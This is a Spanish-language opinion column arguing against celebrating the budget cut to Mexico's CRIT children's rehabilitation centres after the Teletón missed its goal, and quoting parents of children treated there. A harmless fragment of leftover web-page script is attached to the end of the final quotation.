El CRIT y su lamentable recorte

Si el CRIT fuera un negocio para particulares no se vería esa calidad en sus aparatos, muchos que solo encuentras en hospitales extranjeros

Nayeli Pereznegrón

Hace unas semanas leía como mamás de niñas y niños que acuden al CRIT, algunas amigas, compartían esta noticia: “El CRIT baja su presupuesto por no llegar a la meta ”  y alguien más la compartía escribiendo: “Que bueno que ya se les cae el teatrito”   ¿de verdad hay personas a las que les de gustó leer una noticia que dice que gran parte de nuestros niños, muchos de bajos recursos, no lograrán tener la terapia que necesitan? Entiendo el enojo hacia las autoridades, empresas, gente poderosa…  ¿Pero, los niños?

Ojalá esas personas que siguen compartiendo felices esta lamentable noticia ya hayan ido a conocer alguno.

Entiendo su funcionamiento, tengo varias amigas que acuden allí porque en ningún otro lado consiguen los aparatos y terapias que en el CRIT ofrecen, amigos y familiares han sido, fueron o son voluntarios en este lugar, me platican la calidad de personas y empleados que dirigen y trabajan en el CRIT, expresan lo tristes que están porque han tenido que despedir a personas valiosas con este recorte. Si el CRIT fuera un negocio para particulares no se vería esa calidad en sus aparatos, muchos que solo encuentras en hospitales extranjeros, no se vería en la calidad de sus terapeutas; vamos, no habría tanta y tanta lista de espera debido a que no se dan abasto.

No nos hemos dado cuenta que instituciones tan grandes y con esa calidad son resultado de empresas grandes que han tenido la experiencia, contactos y visión de poder hacerlo posible y si fuera un negocio ojalá que todos los negocios ayudaran a tanta gente que lo necesita.

Ojalá esa apatía que tuvimos para no apoyar al Teletón se utilizará para no consumir productos, que además de ser grandes negocios, están acabando con nuestra salud y la de nuestros hijos provocando miles de enfermedades. Ojalá que el enojo desatado contra una institución que ayuda tanto se demostrara apoyando la causa y apagando la televisión. Ojalá que el descontento que claramente demostramos como nación al no reunir la meta, la demostremos el día de las elecciones parándonos a votar.

No pongamos nuestras frustraciones como país afectando a niños enfermos que necesitan verdaderamente de nosotros.

Nos quejamos porque no vemos el dinero de nuestros impuestos y cuando vemos el dinero que donamos a causas como esta también nos quejamos, nos hemos hecho una nación que se queja de todo, hasta de lo que esta bien y no tiene nada de malo quejarse al contrario el problema es que todo queda allí, en quejas y no en acciones para realmente generar un cambio y para mi el CRIT es una de esas razones por la que millones de mexicanos se unían para poner ese granito y generar ese cambio, un cambio en nuestros niños, un cambio en la salud, otros años hemos dado un ejemplo de cómo debería de ser la salud en nuestro México, de como debería ser la calidad de sus instalaciones y aparatos, un ejemplo de como cuando el dinero se destina a donde se debe se nota desde que pisas la institución. No nos dejemos llevar por el que habla, de hablar no hemos construido el México que tenemos, actuemos, no nos dejemos manipular, vayamos, conozcamos y tomemos nuestra propia decisión.

Aquí palabras que transcribo de mis mensajes al pedirle su opinión a mamás que llevan a sus hijos al CRIT.

“No esperes a tener a alguien con discapacidad en tu familia para vivir un CRIT porque te aseguro que será el  primer lugar donde te abrirán los brazos. Tener un hijo con discapacidad hace que entres a un mundo de lucha donde tienes pocos aliados a tu lado, el CRIT es eso, un lugar que reúne todas las caracterísiticas de primer nivel para luchar contigo.”

“Nosotros no tenemos mucho tiempo para pensar en el gobierno, ni en televisa, ni en la gaviota, dedicamos todo nuestro tiempo y energía en sacar adelante a nuestros hijos y es una lástima ver que despidan a gente tan valiosa que ha sacado adelante a nuestros hijos y nos a regalado algo tan grande como la esperanza”.d.getElementsByTagName(‘head’)[0].appendChild(s);